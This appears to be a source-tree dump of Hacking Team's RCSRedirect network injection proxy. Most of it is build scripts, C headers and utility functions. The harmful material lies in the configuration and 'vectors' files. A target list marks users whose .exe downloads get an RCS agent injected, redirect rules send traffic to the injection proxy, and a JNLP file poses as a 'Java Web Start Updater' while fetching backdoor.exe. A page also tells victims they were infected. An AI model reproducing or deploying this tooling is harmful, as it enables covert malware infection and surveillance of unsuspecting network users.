├── TODO ├── include ├── stamp-h1 ├── missing │ ├── basename.h │ ├── inet_aton.h │ ├── strlcat.h │ ├── strlcpy.h │ ├── strsep.h │ ├── memmem.h │ └── scandir.h ├── signals.h ├── watchdog.h ├── parser.h ├── version.h ├── bio_replacer.h ├── bio_injector.h ├── log.h ├── capture.h ├── conf.h ├── timer.h ├── ui.h ├── debug.h ├── statemachine.h ├── match_url.h ├── checksum.h ├── match.h ├── match_request.h ├── send.h ├── socket.h ├── dissect.h ├── threads.h ├── file.h ├── Makefile.am ├── proxy.h ├── _strings.h ├── error.h ├── match_users.h ├── decode.h ├── _stdint.h ├── match_fqdn.h ├── packet.h ├── proto.h ├── netconf.h ├── hook.h ├── dhcp.h ├── inet.h ├── main.h ├── radius.h └── globals.h ├── share ├── network.sig ├── vectors │ ├── JwsUpdater.jar │ ├── JwsUpdater.jnlp │ ├── JwsUpdater.html │ └── page.html ├── rcsipa.conf ├── intercept_file.txt ├── redirect_fqdn.txt ├── redirect_url.txt ├── redirect.html ├── Makefile.am ├── rcsipa.init ├── rcsredirect.conf ├── redirect_user.txt └── rcs-client.pem ├── Makefile.am.common ├── src ├── missing │ ├── inet_aton.c │ ├── basename.c │ ├── strcasestr.c │ ├── scandir.c │ ├── strlcpy.c │ ├── memcmp.c │ ├── strlcat.c │ ├── memmem.c │ └── strsep.c ├── protocols │ ├── wifi_eapol.c │ ├── wifi_prism.c │ ├── mpls.c │ ├── pppoe.c │ ├── vlan.c │ ├── erf.c │ ├── udp.c │ ├── eth.c │ ├── cooked.c │ ├── tr.c │ ├── wifi_radiotap.c │ ├── fddi.c │ ├── tcp.c │ ├── ip.c │ └── ip6.c ├── dhcp.c ├── globals.c ├── match_users_mac.c ├── match_users_ip.c ├── error.c ├── log.c ├── proxy_null.c ├── Makefile.am ├── statistics.c ├── packet.c ├── ui.c ├── debug.c ├── parser.c ├── match_users_string.c ├── main.c ├── timer.c ├── hook.c ├── signals.c ├── match_users_dhcp.c ├── watchdog.c ├── decode.c ├── statemachine.c ├── match_request.c ├── proxy_inject_exe.c └── proxy_replace.c ├── heap_debug ├── .gitignore ├── Makefile.am ├── mconf.sh ├── CHANGELOG ├── autogen.sh ├── acinclude.m4 └── compile /TODO: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /include/stamp-h1: -------------------------------------------------------------------------------- 1 | timestamp for include/config.h 2 | -------------------------------------------------------------------------------- /share/network.sig: -------------------------------------------------------------------------------- 1 | nq8VzLWNtfyEnqORyEa6dR4PUXGlo6oU 2 | -------------------------------------------------------------------------------- /Makefile.am.common: -------------------------------------------------------------------------------- 1 | AUTOMAKE_OPTIONS = foreign #no-dependencies 2 | 3 | DISTCLEANFILES = *~ 4 | 5 | -------------------------------------------------------------------------------- /src/missing/inet_aton.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackedteam/vector-ipa/HEAD/src/missing/inet_aton.c -------------------------------------------------------------------------------- /include/missing/basename.h: -------------------------------------------------------------------------------- 1 | 2 | extern char * basename (const char *filename); 3 | 4 | /* EOF */ 5 | 6 | -------------------------------------------------------------------------------- /share/vectors/JwsUpdater.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackedteam/vector-ipa/HEAD/share/vectors/JwsUpdater.jar -------------------------------------------------------------------------------- /src/protocols/wifi_eapol.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackedteam/vector-ipa/HEAD/src/protocols/wifi_eapol.c -------------------------------------------------------------------------------- /include/missing/inet_aton.h: -------------------------------------------------------------------------------- 1 | 2 | extern int inet_aton(const char *cp, struct in_addr *); 3 | 4 | /* EOF */ 5 | 6 | -------------------------------------------------------------------------------- /include/missing/strlcat.h: -------------------------------------------------------------------------------- 1 | 2 | extern size_t strlcat(char *dst, const char *src, size_t siz); 3 | 4 | /* EOF */ 5 | -------------------------------------------------------------------------------- /include/missing/strlcpy.h: -------------------------------------------------------------------------------- 1 | 2 | extern size_t strlcpy(char *dst, const char *src, size_t siz); 3 | 4 | /* EOF */ 5 | -------------------------------------------------------------------------------- /include/missing/strsep.h: -------------------------------------------------------------------------------- 1 | 2 | extern char * strsep(char **stringp, const char *delim); 3 | 4 | /* EOF */ 5 | 6 | -------------------------------------------------------------------------------- /heap_debug: -------------------------------------------------------------------------------- 1 | valgrind --tool=memcheck --log-file=valgrind --track-origins=yes --leak-check=yes --track-fds=yes --show-reachable=yes -v $* 2 | -------------------------------------------------------------------------------- /include/missing/memmem.h: -------------------------------------------------------------------------------- 1 | 2 | extern void * memmem(const char *haystack, size_t haystacklen, 3 | const char *needle, size_t needlelen); 4 | 5 | /* EOF */ 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .cproject 2 | .project 3 | .settings 4 | .idea 5 | .DS_Store 6 | Release 7 | Debug 8 | packets 9 | *.o 10 | *.tar.gz 11 | RCSRedirect 12 | *.cache 13 | .deps 14 | *.log 15 | *.pem 16 | -------------------------------------------------------------------------------- /include/signals.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: signals.h 790 2009-08-03 14:34:04Z alor $ */ 3 | 4 | #ifndef __SIGNAL_H 5 | #define __SIGNAL_H 6 | 7 | void signal_handler(void); 8 | 9 | #endif 10 | 11 | /* EOF */ 12 | 13 | // vim:ts=3:expandtab 14 | 15 | -------------------------------------------------------------------------------- /include/watchdog.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: watchdog.h 790 2009-08-03 14:34:04Z alor $ */ 3 | 4 | #ifndef __WATCHDOG_H 5 | #define __WATCHDOG_H 6 | 7 | 8 | void watchdog_init(void); 9 | 10 | #endif 11 | 12 | /* EOF */ 13 | 14 | // vim:ts=3:expandtab 15 | 16 | -------------------------------------------------------------------------------- /include/parser.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: parser.h 790 2009-08-03 14:34:04Z alor $ */ 3 | 4 | #ifndef __PARSER_H 5 | #define __PARSER_H 6 | 7 | 8 | extern void parse_options(int argc, char **argv); 9 | 10 | 11 | #endif 12 | 13 | /* EOF */ 14 | 15 | // vim:ts=3:expandtab 16 | 17 | -------------------------------------------------------------------------------- /src/missing/basename.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | 4 | char * basename (const char *filename); 5 | 6 | char * basename (const char *filename) 7 | { 8 | register char *p; 9 | 10 | p = strrchr (filename, '/'); 11 | 12 | return p ? p + 1 : (char *) filename; 13 | } 14 | -------------------------------------------------------------------------------- /share/rcsipa.conf: -------------------------------------------------------------------------------- 1 | # /etc/conf.d/rcsipa 2 | 3 | # 4 | # The parameters in this file are used in /etc/init.d/rcsipa 5 | # 6 | 7 | # 8 | # The location of the configuration file for the probe 9 | # 10 | IPA_CFG_FILE=/rcsipa/etc/rcsredirect.conf 11 | 12 | # vim:ts=4:expandtab 13 | -------------------------------------------------------------------------------- /share/intercept_file.txt: -------------------------------------------------------------------------------- 1 | ################################################################################ 2 | # 3 | # List of targets to be infected 4 | # The "tag" must match the one in the redirected_users file 5 | # 6 | ################################################################################ 7 | mirror18 INJECT-EXE RCS_0000000021 *.exe* 8 | -------------------------------------------------------------------------------- /include/version.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: version.h 3556 2011-06-07 08:54:29Z alor $ */ 3 | 4 | #ifndef __VERS_H 5 | #define __VERS_H 6 | 7 | #define RCS_VER "2011061301" 8 | #define VERSION "2011.06.13" 9 | #define COPYRIGHT "2011" 10 | #define AUTHORS "HackingTeam srl" 11 | 12 | #endif 13 | 14 | /* EOF */ 15 | 16 | -------------------------------------------------------------------------------- /include/missing/scandir.h: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | 4 | extern int scandir(const char *dir, struct dirent ***namelist, 5 | int (*select)(const struct dirent *), 6 | int (*compar)(const struct dirent **, const struct dirent **)); 7 | 8 | extern int alphasort(const struct dirent **a, const struct dirent **b); 9 | 10 | /* EOF */ 11 | 12 | -------------------------------------------------------------------------------- /Makefile.am: -------------------------------------------------------------------------------- 1 | 2 | include $(top_srcdir)/Makefile.am.common 3 | 4 | SUBDIRS = share include src 5 | 6 | EXTRA_DIST = CHANGELOG \ 7 | TODO \ 8 | Makefile.am.common \ 9 | shtool 10 | 11 | CLEANFILES = -R auto4te.cache *~ *.log *.out *.cache 12 | 13 | test: all 14 | ln -fs ./src/RCSRedirect ./ 15 | ./shtool fixperm ./ 16 | 17 | # vim:ts=4:noexpandtab 18 | 19 | -------------------------------------------------------------------------------- /share/redirect_fqdn.txt: -------------------------------------------------------------------------------- 1 | ################################################################################ 2 | # 3 | # List of hostnames to be redirected to the Injection Proxy 4 | # Every request to those hosts will be redirected to the specified IP 5 | # You cannot use wildcard for performance reasons 6 | # 7 | ################################################################################ 8 | PROXY_IP = auto 9 | -------------------------------------------------------------------------------- /include/bio_replacer.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: bio_replacer.h 3000 2010-10-08 11:52:16Z alor $ */ 3 | 4 | #ifndef __BIO_REPLACER_H 5 | #define __BIO_REPLACER_H 6 | 7 | #include 8 | #include 9 | 10 | struct bio_replace_setup { 11 | char *search; 12 | char *replace; 13 | }; 14 | 15 | /* protos */ 16 | 17 | extern BIO_METHOD* BIO_f_replace(void); 18 | 19 | #endif 20 | 21 | /* EOF */ 22 | 23 | // vim:ts=3:expandtab 24 | 25 | -------------------------------------------------------------------------------- /include/bio_injector.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: bio_injector.h 2999 2010-10-08 10:23:29Z alor $ */ 3 | 4 | #ifndef __BIO_INJECTOR_H 5 | #define __BIO_INJECTOR_H 6 | 7 | #include 8 | #include 9 | 10 | struct bio_inject_setup { 11 | char *search; 12 | char *inject; 13 | size_t inject_len; 14 | }; 15 | 16 | /* protos */ 17 | 18 | extern BIO_METHOD* BIO_f_inject(void); 19 | 20 | #endif 21 | 22 | /* EOF */ 23 | 24 | // vim:ts=3:expandtab 25 | 26 | -------------------------------------------------------------------------------- /include/log.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: log.h 928 2009-09-18 15:09:30Z alor $ */ 3 | 4 | #ifndef __LOG_H 5 | #define __LOG_H 6 | 7 | #include 8 | 9 | #define MAX_LOG_CACHE 1000 10 | 11 | typedef struct _log_struct { 12 | RncProtoLog plog; 13 | int flags; 14 | #define LOG_CACHE_OLD 0x00 15 | #define LOG_CACHE_NEW 0x01 16 | } log_struct; 17 | 18 | extern void log_add(int type, char *desc); 19 | extern int log_get(RncProtoLog *plog); 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /share/redirect_url.txt: -------------------------------------------------------------------------------- 1 | ################################################################################ 2 | # 3 | # List of files to be redirected to the Injection Proxy 4 | # To configure the IP address of the Inj-Proxy see the redirect_fqdn.txt file 5 | # You can use wildcards to match an url, but remember to keep the list short 6 | # 7 | ################################################################################ 8 | REDIRECT_PAGE = redirect.html 9 | mirror18 100 *.exe* 10 | -------------------------------------------------------------------------------- /include/capture.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: capture.h 2628 2010-07-01 13:12:42Z alor $ */ 3 | 4 | #ifndef __CAPTURE_H 5 | #define __CAPTURE_H 6 | 7 | #include 8 | 9 | void capture_init(void); 10 | void capture_close(void); 11 | void capture_start(void); 12 | void capture_stop(void); 13 | 14 | int is_pcap_file(char *file, char *errbuf); 15 | void capture_getifs(void); 16 | 17 | #define IFACE_DOWN 0x00 18 | #define IFACE_UP 0x01 19 | 20 | #endif 21 | 22 | /* EOF */ 23 | 24 | // vim:ts=3:expandtab 25 | 26 | -------------------------------------------------------------------------------- /include/conf.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: conf.h 2546 2010-06-22 10:09:01Z alor $ */ 3 | 4 | #ifndef __CONF_H 5 | #define __CONF_H 6 | 7 | 8 | struct conf_entry { 9 | char *name; 10 | void *value; 11 | }; 12 | 13 | struct conf_section { 14 | char *title; 15 | struct conf_entry *entries; 16 | }; 17 | 18 | 19 | /* exported functions */ 20 | 21 | void load_conf(void); 22 | void load_rules(void); 23 | void conf_dissectors(void); 24 | 25 | #endif 26 | 27 | /* EOF */ 28 | 29 | // vim:ts=3:expandtab 30 | 31 | -------------------------------------------------------------------------------- /include/timer.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: timer.h 2995 2010-10-07 14:42:52Z alor $ */ 3 | 4 | #ifndef __TIMER_H 5 | #define __TIMER_H 6 | 7 | struct timer_hook { 8 | time_t sec; 9 | void (*func)(void); 10 | }; 11 | 12 | 13 | /* exported functions */ 14 | 15 | extern int add_timer(struct timer_hook *th); 16 | extern int del_timer(struct timer_hook *th); 17 | 18 | extern struct timeval timeval_subtract (struct timeval *x, struct timeval *y); 19 | 20 | #endif 21 | 22 | /* EOF */ 23 | 24 | // vim:ts=3:expandtab 25 | 26 | -------------------------------------------------------------------------------- /include/ui.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: ui.h 790 2009-08-03 14:34:04Z alor $ */ 3 | 4 | #ifndef __UI_H 5 | #define __UI_H 6 | 7 | #include 8 | 9 | void ui_msg(const char *fmt, ...); 10 | void ui_error(const char *fmt, ...); 11 | void ui_fatal_error(const char *msg); 12 | void ui_stats(void); 13 | 14 | #define USER_MSG(x, ...) ui_msg(x, ## __VA_ARGS__ ) 15 | 16 | #define FATAL_MSG(x, ...) do { ui_error(x, ## __VA_ARGS__ ); return (-EFATAL); } while(0) 17 | 18 | #endif 19 | 20 | /* EOF */ 21 | 22 | // vim:ts=3:expandtab 23 | 24 | -------------------------------------------------------------------------------- /share/redirect.html: -------------------------------------------------------------------------------- 1 | HTTP/1.1 302 Found 2 | Date: %DATE% 3 | Server: Apache/2.2.3 (Debian) mod_ssl/2.2.3 OpenSSL/0.9.8c 4 | Location: %LOCATION% 5 | Content-Length: %LENGTH% 6 | Keep-Alive: timeout=15, max=100 7 | Cache-control: no-store 8 | Connection: close 9 | Content-Type: text/html; charset=iso-8859-1 10 | 11 | 12 | 13 | 302 Found 14 | 15 |

Found

16 |

The document has moved here.

17 | 18 | -------------------------------------------------------------------------------- /share/vectors/JwsUpdater.jnlp: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Java Web Start Updater 5 | %SITE_HOSTNAME% 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | %IPA_URL%/backdoor.exe 16 | 17 | 18 | -------------------------------------------------------------------------------- /src/missing/strcasestr.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | * silly implementation for the strcasestr funcion. 4 | * 5 | */ 6 | 7 | #include 8 | 9 | char *strcasestr(char *hailstack, char *needle); 10 | 11 | char *strcasestr(char *hailstack, char *needle) 12 | { 13 | register int lneed = strlen(needle); 14 | register int lhail = strlen(hailstack); 15 | register int i; 16 | 17 | for (i = 0; i < lhail; i++) { 18 | if (!strncasecmp(hailstack + i, needle, lneed)) 19 | return hailstack + i; 20 | } 21 | 22 | return NULL; 23 | } 24 | 25 | /* EOF */ 26 | 27 | -------------------------------------------------------------------------------- /include/debug.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: debug.h 790 2009-08-03 14:34:04Z alor $ */ 3 | 4 | #ifndef __DEBUG_H 5 | #define __DEBUG_H 6 | 7 | void debug_init(size_t cnt); 8 | void debug_msg(char level, const char *message, ...); 9 | 10 | #define D_EXCESSIVE 5 11 | #define D_VERBOSE 4 12 | #define D_DEBUG 3 13 | #define D_INFO 2 14 | #define D_WARNING 1 15 | #define D_ERROR 0 16 | 17 | #define DEBUG_INIT(x) debug_init(x) 18 | #define DEBUG_MSG(l, x, ...) debug_msg(l, x, ## __VA_ARGS__ ) 19 | 20 | #endif 21 | 22 | /* EOF */ 23 | 24 | // vim:ts=3:expandtab 25 | 26 | -------------------------------------------------------------------------------- /include/statemachine.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: statemachine.h 790 2009-08-03 14:34:04Z alor $ */ 3 | 4 | #ifndef __STATEMACHINE_H 5 | #define __STATEMACHINE_H 6 | 7 | LIST_HEAD(sm, state); 8 | 9 | struct sm * sm_create(void); 10 | int sm_add_state(struct sm *sm, u_int8 state); 11 | int sm_add_link(struct sm *sm, u_int8 s1, u_int8 s2, u_int8 action, int (*)(void *)); 12 | int sm_change_state(struct sm *sm, u_int8 s1, u_int8 s2, void *param); 13 | int sm_send_action(struct sm *sm, u_int8 state, u_int8 action, void *param); 14 | 15 | 16 | #endif 17 | 18 | /* EOF */ 19 | 20 | // vim:ts=3:expandtab 21 | 22 | -------------------------------------------------------------------------------- /include/match_url.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: match_url.h 3041 2010-10-26 10:11:18Z daniele $ */ 3 | 4 | #ifndef __MATCH_URL_H 5 | #define __MATCH_URL_H 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #define MAX_URL 1024 18 | 19 | #define SPLASH_PAGE_LEN 1200 20 | 21 | struct url_node { 22 | int probability; 23 | int first_match; 24 | char tag[MAX_TAG_LEN]; 25 | char url[MAX_URL]; 26 | LIST_ENTRY (url_node) next; 27 | }; 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /share/vectors/JwsUpdater.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /mconf.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo 4 | 5 | if test ! -f ./configure; then 6 | echo "ERROR: configure not found..." 7 | echo "Running autogen.sh to generate the autoscripts" 8 | if test ! -f ./autogen.sh; then 9 | echo "FATAL: autogen.sh not found." 10 | exit 11 | fi 12 | ./autogen.sh 13 | fi 14 | 15 | if test "$1" = "--renew"; then 16 | shift 17 | ./autogen.sh 18 | fi 19 | 20 | echo "Configuring for maintainers mode..." 21 | echo 22 | ./configure --enable-debug --enable-maintainer-mode $* || exit 23 | 24 | echo 25 | echo "Making the executable to be tested in the current directory" 26 | echo 27 | make test 28 | -------------------------------------------------------------------------------- /include/checksum.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: checksum.h 790 2009-08-03 14:34:04Z alor $ */ 3 | 4 | #ifndef __CHECKSUM_H 5 | #define __CHECKSUM_H 6 | 7 | #include 8 | 9 | u_int16 L3_checksum(u_char *buf, size_t len); 10 | u_int16 L4_checksum(struct packet_object *po); 11 | #define CSUM_INIT 0 12 | #define CSUM_RESULT 0 13 | 14 | u_int32 CRC_checksum(u_char *buf, size_t len, u_int32 init); 15 | #define CRC_INIT_ZERO 0x0 16 | #define CRC_INIT 0xffffffff 17 | #define CRC_RESULT 0xdebb20e3 18 | 19 | u_int16 checksum_shouldbe(u_int16 sum, u_int16 computed_sum); 20 | 21 | #endif 22 | 23 | /* EOF */ 24 | 25 | // vim:ts=3:expandtab 26 | 27 | -------------------------------------------------------------------------------- /include/match.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: match.h 2749 2010-07-27 07:12:02Z alor $ */ 3 | 4 | #ifndef __MATCH_H 5 | #define __MATCH_H 6 | 7 | 8 | extern void load_fqdn(void); 9 | extern void fqdn_append(char *host); 10 | 11 | extern void load_url(void); 12 | 13 | enum { 14 | ROOT = 0, 15 | FQDN 16 | }; 17 | 18 | extern void load_users(void); 19 | extern void load_request(void); 20 | 21 | extern void match_fqdn_init(void); 22 | extern void match_url_init(void); 23 | extern void match_users_init(void); 24 | 25 | 26 | #define MAX_TAG_LEN 64 27 | 28 | #define IP_IDENT_PREFIX "in-addr-" 29 | #define IP_IDENT_SUFFIX ".net" 30 | 31 | 32 | #endif 33 | 34 | /* EOF */ 35 | 36 | // vim:ts=3:expandtab 37 | -------------------------------------------------------------------------------- /include/match_request.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: match_request.h 2766 2010-08-04 07:58:22Z alor $ */ 3 | 4 | #ifndef __MATCH_REQUEST_H 5 | #define __MATCH_REQUEST_H 6 | 7 | #define MAX_URL 1024 8 | 9 | struct request_node { 10 | char tag[MAX_TAG_LEN]; 11 | int type; 12 | #define REQ_TYPE_INJECT_EXE 1 13 | #define REQ_TYPE_INJECT_JAD 2 14 | #define REQ_TYPE_INJECT_HTML 3 15 | #define REQ_TYPE_REPLACE 4 16 | char path[MAX_FILENAME_LEN]; 17 | char url[MAX_URL]; 18 | LIST_ENTRY (request_node) next; 19 | }; 20 | 21 | extern struct request_node *request_find(const char *tag, char *url); 22 | extern struct request_node *request_find_tag(const char *tag); 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /include/send.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: send.h 2544 2010-06-22 09:54:40Z alor $ */ 3 | 4 | #ifndef __SEND_H 5 | #define __SEND_H 6 | 7 | #define RCS_MAGIC_16 0xbaff 8 | 9 | #include 10 | 11 | extern void send_init(void); 12 | extern int send_get_iface_addr(struct ip_addr *addr); 13 | 14 | extern int send_to_L2(struct packet_object *po); 15 | extern int send_dns_reply(u_int16 dport, struct ip_addr *sip, struct ip_addr *tip, u_int16 id, u_int8 *data, size_t datalen, u_int16 addi_rr); 16 | extern int send_tcp(struct ip_addr *sip, struct ip_addr *tip, u_int16 sport, u_int16 dport, u_int32 seq, u_int32 ack, u_int8 flags, u_char *data, size_t len); 17 | 18 | #endif 19 | 20 | /* EOF */ 21 | 22 | // vim:ts=3:expandtab 23 | 24 | -------------------------------------------------------------------------------- /include/socket.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: socket.h 790 2009-08-03 14:34:04Z alor $ */ 3 | 4 | #ifndef __SOCKET_H 5 | #define __SOCKET_H 6 | 7 | /* The never ending errno problems... */ 8 | #define GET_SOCK_ERRNO() errno 9 | 10 | int open_tcp_socket_connect(const char *host, u_int16 port); 11 | int open_udp_socket_connect(const char *host, u_int16 port); 12 | int open_tcp_socket_accept(u_int16 port); 13 | int open_udp_socket_accept(u_int16 port); 14 | int socket_accept(int s); 15 | int socket_close(int s); 16 | void set_blocking(int s, int set); 17 | int socket_send(int s, const u_char *payload, size_t size); 18 | int socket_recv(int s, u_char *payload, size_t size); 19 | 20 | #endif 21 | 22 | /* EOF */ 23 | 24 | // vim:ts=3:expandtab 25 | 26 | -------------------------------------------------------------------------------- /CHANGELOG: -------------------------------------------------------------------------------- 1 | 2 | $Id: $ 3 | 4 | Legenda: 5 | + new feature 6 | - old feature removed 7 | !! bug fixed 8 | 9 | ========================================= 10 | 11 | 2009.11.16 12 | + RADIUS targets 13 | 14 | 2009.11.06 15 | + support for Host: ip_address 16 | 17 | 2009.11.05 18 | + various fixes after the first test 19 | 20 | 2009.11.02 21 | + url matching per user 22 | 23 | 2009.10.27 24 | + injection proxy with BIO chains 25 | 26 | 2009.09.21 27 | + RNC protocol implemented to communicate with Network Controller 28 | 29 | 2009.08.05 30 | + skip analysis of packets directed to proxy ip 31 | + static-ip user matching 32 | 33 | 2009.07.22 34 | + initial version 35 | 36 | 37 | # vim:ts=3:expandtab 38 | -------------------------------------------------------------------------------- /include/dissect.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: dissect.h 2546 2010-06-22 10:09:01Z alor $ */ 3 | 4 | #ifndef __DISSECT_H 5 | #define __DISSECT_H 6 | 7 | #include 8 | #include 9 | 10 | #define DISSECT_CODE(x) (u_int32)(&x) 11 | 12 | /* exported functions */ 13 | 14 | void dissect_add(char *name, u_int8 level, u_int32 port, FUNC_DECODER_PTR(decoder)); 15 | 16 | /* return true if the packet is coming from the server */ 17 | #define FROM_SERVER(name, pack) (dissect_on_port(name, ntohs(pack->L4.src)) == ESUCCESS) 18 | 19 | /* return true if the packet is coming from the client */ 20 | #define FROM_CLIENT(name, pack) (dissect_on_port(name, ntohs(pack->L4.dst)) == ESUCCESS) 21 | 22 | 23 | #endif 24 | 25 | /* EOF */ 26 | 27 | // vim:ts=3:expandtab 28 | 29 | -------------------------------------------------------------------------------- /share/Makefile.am: -------------------------------------------------------------------------------- 1 | 2 | include $(top_srcdir)/Makefile.am.common 3 | 4 | sysconf_DATA = rcsredirect.conf \ 5 | redirect_fqdn.txt \ 6 | redirect_url.txt \ 7 | redirect_user.txt \ 8 | redirect.html \ 9 | intercept_file.txt 10 | 11 | EXTRA_DIST = rcsredirect.conf \ 12 | redirect_fqdn.txt \ 13 | redirect_url.txt \ 14 | redirect_user.txt \ 15 | redirect.html \ 16 | intercept_file.txt \ 17 | rcsipa.conf \ 18 | rcsipa.init 19 | 20 | install-data-hook: 21 | install -d $(DESTDIR)/etc/init.d/ 22 | install -m 755 rcsipa.init $(DESTDIR)/etc/init.d/rcsipa 23 | install -d $(DESTDIR)/etc/conf.d/ 24 | install -m 644 rcsipa.conf $(DESTDIR)/etc/conf.d/rcsipa 25 | 26 | uninstall-hook: 27 | rm -rf $(DESTDIR)/etc/conf.d/rcsipa 28 | rm -rf $(DESTDIR)/etc/init.d/rcsipa 29 | 30 | # vim:ts=4:noexpandtab 31 | -------------------------------------------------------------------------------- /src/dhcp.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- Module for dhcp parsing 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: dhcp.c 1149 2009-11-17 09:53:46Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | /* globals */ 14 | 15 | 16 | /* protos */ 17 | 18 | u_char * dhcp_get_option(u_char opt, u_char *ptr, u_char *end); 19 | 20 | /************************************************/ 21 | 22 | /* 23 | * return the pointer to the named option 24 | * or NULL if not found 25 | * ptr will point to the length of the option 26 | */ 27 | u_char * dhcp_get_option(u_char opt, u_char *ptr, u_char *end) 28 | { 29 | do { 30 | 31 | /* we have found our option */ 32 | if (*ptr == opt) 33 | return ptr + 1; 34 | 35 | /* 36 | * move thru options : 37 | * 38 | * OPT LEN .. .. .. OPT LEN .. .. 39 | */ 40 | ptr = ptr + 2 + (*(ptr + 1)); 41 | 42 | } while (*ptr != DHCP_OPT_END && ptr < end); 43 | 44 | return NULL; 45 | } 46 | 47 | /* EOF */ 48 | 49 | // vim:ts=3:expandtab 50 | 51 | -------------------------------------------------------------------------------- /autogen.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo 4 | 5 | if test x`which autoconf` = x; then 6 | echo "ERROR: autoconf not found" 7 | exit 8 | fi 9 | if test x`which autoheader` = x; then 10 | echo "ERROR: autoheader not found" 11 | exit 12 | fi 13 | if test x`which automake` = x; then 14 | echo "ERROR: automake not found" 15 | exit 16 | fi 17 | if test x`which aclocal` = x; then 18 | echo "ERROR: aclocal not found" 19 | exit 20 | fi 21 | 22 | echo "Suggested version:" 23 | echo 24 | echo " autoconf 2.68" 25 | echo " automake 1.10.x" 26 | echo 27 | echo "Actual version:" 28 | echo 29 | echo " `autoconf --version | head -n 1`" 30 | echo " `automake --version | head -n 1`" 31 | 32 | echo "cleaning up config files..." 33 | echo 34 | rm -f configure 35 | rm -f aclocal.m4 36 | find . -name 'Makefile' -exec rm -f {} \; 37 | find . -name 'Makefile.in' -exec rm -f {} \; 38 | 39 | echo "running aclocal" 40 | aclocal 41 | echo "running autoheader" 42 | autoheader 43 | echo "running autoconf" 44 | autoconf 45 | echo "running automake" 46 | automake --add-missing --copy 47 | 48 | -------------------------------------------------------------------------------- /src/globals.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- global variables handling module 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: globals.c 944 2009-09-25 13:43:41Z alor $ 7 | */ 8 | 9 | #include 10 | 11 | /* global vars */ 12 | 13 | struct globals *gbls; 14 | 15 | /* proto */ 16 | 17 | void globals_alloc(void); 18 | 19 | /*******************************************/ 20 | 21 | void globals_alloc(void) 22 | { 23 | 24 | SAFE_CALLOC(gbls, 1, sizeof(struct globals)); 25 | SAFE_CALLOC(gbls->conf, 1, sizeof(struct gbl_conf)); 26 | SAFE_CALLOC(gbls->options, 1, sizeof(struct gbl_options)); 27 | SAFE_CALLOC(gbls->env, 1, sizeof(struct program_env)); 28 | SAFE_CALLOC(gbls->pcap, 1, sizeof(struct pcap_env)); 29 | SAFE_CALLOC(gbls->lnet, 1, sizeof(struct lnet_env)); 30 | SAFE_CALLOC(gbls->stats, 1, sizeof(struct stats_env)); 31 | SAFE_CALLOC(gbls->net, 1, sizeof(struct net_env)); 32 | SAFE_CALLOC(gbls->netconf, 1, sizeof(struct netconf_env)); 33 | SAFE_CALLOC(gbls->targ, 1, sizeof(struct targets_env)); 34 | 35 | return; 36 | } 37 | 38 | /* EOF */ 39 | 40 | // vim:ts=3:expandtab 41 | 42 | -------------------------------------------------------------------------------- /share/vectors/page.html: -------------------------------------------------------------------------------- 1 | Blocked 2 | 3 | 18 |
19 | 20 |

Infected

21 |

The injection proxy has hijacked your request.

22 |

You were infected with a backdoor

23 |

24 | 25 |
